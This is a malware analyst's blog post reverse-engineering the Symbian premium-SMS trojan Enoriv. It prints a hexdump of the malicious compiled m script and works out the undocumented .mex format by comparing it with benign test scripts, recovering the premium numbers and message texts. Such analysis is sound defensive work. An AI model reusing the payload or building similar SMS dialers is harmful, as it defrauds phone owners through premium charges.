[Symbian] Reversing the Symbian Enoriv malware

by Axelle Apvrille
April 13, 2010 at 9:17 am

ShareThis

On Symbian phones, most malware are either implemented natively in C++ (over the Symbian API) or in Java (midlets). SymbOS/Enoriv.A!tr.dial uses another language called m.

Usually, m scripts (.m extension) are run within the m environment, (mShell) using the various features offered by m library modules (messaging, obex, video, zip…). This is comparable to Java midlets, which run over a Java environment and use various Java API packages. The m scripts can also be compiled to be included in a stand-alone Symbian application. In that case, the Symbian SIS package contains the compiled m script (.mex extension) and the m runtime environment (library and resources) for the mobile phone.

So, when we unpack Enoriv, most files are actually not malicious and only related to the legitimate m environment:

File: !:\system\apps\file\file.app,     Type: EInstFileTypeRun File: !:\system\apps\file\file.mex,     Type: EInstFileTypeSimple File: !:\system\apps\file\dialogs.rsc,  Type: EInstFileTypeSimple File: !:\system\apps\file\menvironment.rsc,     Type: EInstFileTypeSimple File: !:\system\apps\file\file.rsc,     Type: EInstFileTypeSimple File: !:\system\apps\file\file.aif,     Type: EInstFileTypeSimple

Files such as dialogs.rsc, menvironment.rsc, file.rsc and file.aif are non-malicious resources (menu, icon files etc). A close look at the main application file, file.app, which is run at installation, reveals mEnvironment error codes and exceptions (ErrDied, ErrNoMemory, ExcInvalidNumber…), built-in m function names (isfunction, sleep…) and use of functions to display a GUI (CAknQueryDialog, CEikDialog…), load resources (CCoeEnv::AddResourceFile…), find .mex files, load a built-in top level class etc. So, file.app does not look alarming at all, it is the standalone m runtime environment. The only possible concern with the main application file is that it contains code to send SMS messages. We will explain that later.

The ‘interesting’ file is file.mex. A quick hexdump confirms itcontains the malicious payload:

00000000  4d 45 58 02 09 0e ff 03  ff ff ff 07 00 00 80 28  |MEX............(| 00000010  01 00 01 06 02 04 00 00  00 00 00 00 ff 5d 36 01  |.............]6.| 00000020  00 00 43 11 00 00 11 01  00 36 01 05 02 43 0f e8  |..C......6...C..| 00000030  03 36 00 1b 01 43 11 02  00 11 03 00 36 01 05 02  |.6...C......6...| 00000040  43 0f e8 03 36 00 1b 01  43 11 04 00 11 03 00 36  |C...6...C......6| 00000050  01 05 02 43 0f e8 03 36  00 1b 01 43 11 02 00 11  |...C...6...C....| 00000060  03 00 36 01 05 02 43 0f  e8 03 36 00 1b 01 43 11  |..6...C...6...C.| 00000070  05 00 11 03 00 36 01 05  02 43 3d 04 05 73 6c 65  |.....6...C=..sle| 00000080  65 70 1b 01 01 01 00 ff  1b 07 04 33 36 34 39 07  |ep.........3649.| 00000090  0a 6f 70 73 65 78 20 33  39 32 32 07 04 37 31 32  |.opsex 3922..712| 000000a0  32 07 0a 6d 75 6e 65 74  20 33 39 32 32 07 04 31  |2..munet 3922..1| 000000b0  31 37 31 07 04 38 33 35  35 00 01 03 73 6d 73 00  |171..8355...sms.| 000000c0  00 02 04 04 73 65 6e 64  05 02 03 01 00 ff 04 00  |....send........| 000000d0  00                                                |.| 000000d1

Notice the strings at the end “opsex 3922″, “7122″, “munet 3922″, “sms”, “send”. Smells like a script sending SMS messages to premium phone numbers. But, what exactly is it sending ? an SMS to 3649 with the text “opsex 3922″ ? several SMS to numbers 3649, 3922, 7122, 1171, 8355 ? Let’s have a closer look.

As we said previously, .mex files are compiled m scripts. A developer writes an m script (extension .m), and may then compile it using the “Compile” menu of the mShell application installed on his development mobile phone.

Figure 1. Test m script file Figure 2. Compiling an m script

Unfortunately, the format of .mex is not (publicly) documented and .mex decompilers do not exist either (or not publicly). So, we have to work this out ourselves.

Obviously, .mex files begin with a “MEX” magic, followed by some formatting and finally strings. In the mShell documentation, we find there is a built-in sleep function which takes milliseconds as parameters, and a send function in the sms module, which takes a list of phone numbers as first argument and a text as second argument. We notice that, in the compiled script, function names are prefixed by 0×04 and the length of the function’s name:

• 0×04 0×05 sleep
• 0×04 0×04 send

Similarly, module names are prefixed by 0×01 and the length of the module’s name:

• 0×01 0×03 sms

and constants used in the script are prefixed by 0×07 and the length of the string:

• 0×07 0×04 3649
• 0×07 0×0a opsex 3922
• 0×07 0×04 7122
• 0×07 0×0a munet 3922
• 0×07 0×04 1171
• 0×07 0×04 8355

At this point, we know the malicious script:

1. uses the sms module
2. calls the built-in sleep function
3. calls the sms send function
4. uses 6 constant strings

but we do not know to which function arguments the constants correspond. To understand this, we create a basic non-malicious m script that sends an SMS (see Figure 3) to our lab’s test phone.

Figure 3. Test SMS message received by our lab’s iPhone

Then we compile it and compare its hexdump with that of the malware:

00000000  4d 45 58 02 09 0e bf 01  00 ff ff ff 07 00 80 28  |MEX............(| 00000010  01 00 01 02 02 04 00 00  00 00 00 00 ff 19 36 01  |..............6.| 00000020  00 00 43 0f 05 00 36 00  1b 01 43 11 00 00 11 01  |..C...6...C.....| 00000030  00 36 01 05 02 43 3d 04  05 73 6c 65 65 70 1b 01  |.6...C=..sleep..| 00000040  01 01 00 ff 1b 07 0c 2b  30 30 31 31 32 32 33 33  |.......+00112233| 00000050  34 34 35 07 11 48 65 6c  6c 6f 20 43 72 79 70 74  |445..Hello Crypt| 00000060  6f 20 47 31 72 6c 00 01  03 73 6d 73 00 00 02 04  |o G1rl...sms....| 00000070  04 73 65 6e 64 05 02 03  01 00 ff 04 00 00        |.send.........|

We notice that the argument to the sleep function (5 milliseconds) does not appear as a text string, and that, for the sms.send() function, the phone number appears before the SMS text message.

This consequently means that the “3649″ string is not an amount of milliseconds but a premium phone number the malware sends SMS messages to.

To understand how the other strings are organized, we need to play a little more with our non-malicious test script and, for example, have it send several SMS messages (replace with your own phone numbers):use sms

sms.send("+00000000000", "Msg 1"); sms.send("+11111111111", "Msg 2"); sms.send(["+22222222222", "+33333333333"], "Msg 3");

In that case, the hexdump shows the first phone number (”+00000000000″), the first message (”Msg 1″), the second phone number (”+11111111111″), the second message (”Msg 2″), the third phone number (”+22222222222″), the fourth phone number (”+33333333333″), the last message (”Msg 3″) and finally the string “sms” (reference to the sms module) and the string “send” (reference to the send function).

So, the malware sends a first SMS to the phone number 3649 with the text “opsex 3922″ and a second SMS to the phone number 7122 with the text “munet 3922″. For the remaining strings, 1171 and 8355 look like two premium phone numbers, but the 8355 could also be the SMS text. To tell the difference, we modify our non-malicious test script once more:

use sms sms.send("+00000000000", "");

The hexdump shows the phone number (”+00000000000″), followed by a null string (0×07 0×00). As this does not occur in the malware, this means it only sends a third SMS message to phone number 1171 with text 8355. There we are, we retrieved the phone numbers and messages of all three SMS messages.

– Crypto Girl

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

http://blog.fortinet.com/reversing-the-symbian-enoriv-malware/